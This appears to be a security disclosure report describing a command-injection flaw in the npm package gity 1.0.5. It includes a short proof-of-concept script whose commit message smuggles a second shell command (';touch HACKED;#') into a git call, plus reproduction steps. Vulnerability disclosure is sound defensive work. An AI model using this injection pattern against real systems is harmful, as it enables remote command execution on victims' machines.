How it was found

I would like to report a RCE issue in the gity module. It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: gity version: 1.0.5 npm page: https://www.npmjs.com/package/gity

Module Description

A nice Git wrapper for Node.

Module Stats

[~3/4] downloads in the last day [21] downloads in the last week [~100] downloads in the last month

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/stevenmiller888/gity/blob/master/lib/index.js#L85

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
var Git = require('gity');
 
var git = Git()
  .add('*.js')
  .commit('-m "added js files";touch HACKED;#')
  .run();

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i gity # Install affected module
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :) {F626758}

Patch

Don't format commands using insecure user's inputs :)

Supporting Material/References:

• [OPERATING SYSTEM VERSION]: Kali Linux

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

RCE via command formatting on gity